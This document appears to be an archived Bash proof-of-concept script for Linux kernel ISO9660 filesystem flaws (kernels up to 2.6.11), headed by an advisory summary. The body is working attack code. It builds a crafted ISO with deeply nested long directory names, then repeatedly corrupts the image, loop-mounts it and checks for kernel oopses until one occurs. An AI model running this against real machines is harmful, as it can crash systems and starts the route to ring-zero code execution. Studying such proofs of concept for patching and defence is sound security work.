80 lines
No EOL
1.9 KiB
Bash
Executable file
80 lines
No EOL
1.9 KiB
Bash
Executable file
# source: https://www.securityfocus.com/bid/12837/info
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#
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# The Linux kernel is reported prone to multiple vulnerabilities that occur because of "range-checking flaws" present in the ISO9660 handling routines.
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#
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# An attacker may exploit these issues to trigger kernel-based memory corruption. Ultimately, the attacker may be able to execute arbitrary malicious code with ring-zero privileges.
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#
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# These vulnerabilities are reported to be present in the ISO9660 filesystem handler including Rock Ridge and Juliet extensions for the Linux kernel up to and including version 2.6.11.
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#
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#!/bin/bash
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cd /tmp || exit 1
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echo '[*] Compiling mangler...'
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cat >mangle.c <<_EOF_
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char buf[10240];
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main() {
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int i,x;
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srand(time(0) ^ getpid());
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while ( (i = read(0,buf,sizeof(buf))) > 0) {
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x = rand() % (i/20);
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while (x--) buf[rand() % i] = rand();
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write(1,buf,i);
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}
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}
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_EOF_
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gcc -O3 mangle.c -o mangle || exit 1
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rm -f mangle.c
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echo '[*] Preparing ISO master (feel free to alter this code)...'
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mkdir cd_dir || exit 1
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cd cd_dir
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CNT=0
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while [ "$CNT" -lt "200" ]; do
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mkdir A; cd A
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CNT=$[CNT+1]
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done
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cd /tmp/cd_dir
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A=`perl -e '{print "A"x255}' 2>/dev/null`
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CNT=0
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while [ "$CNT" -lt "3" ]; do
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mkdir "$A"; cd "$A"
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CNT=$[CNT+1]
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done
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cd /tmp
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echo '[*] Creating image (alter filesystem or parameters as needed)...'
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mkisofs -U -R -J -o cd.iso cd_dir 2>/dev/null || exit 1
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rm -rf cd_dir
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echo '[*] STRESS TEST PHASE...'
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while :; do
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DIR="/tmp/cdtest-$$-$RANDOM"
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mkdir "$DIR"
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dmesg -c 2>/dev/null
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cat cd.iso | ./mangle >cd_mod.iso
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mount -t iso9660 -o loop,ro /tmp/cd_mod.iso "$DIR" 2>/dev/null
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# ls -lAR "$DIR" - Uncomment if you like when it HURTS...
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umount "$DIR" 2>/dev/null
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rm -rf "$DIR" 2>/dev/null
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FAULT=`dmesg | grep -Ei 'oops|unable to handle'`
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test "$FAULT" = "" || break
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done
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dmesg | tail -30
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echo '[+] Something found (/tmp/cd-mod.iso)...'
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rm -f cd.iso mangle
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exit 0 |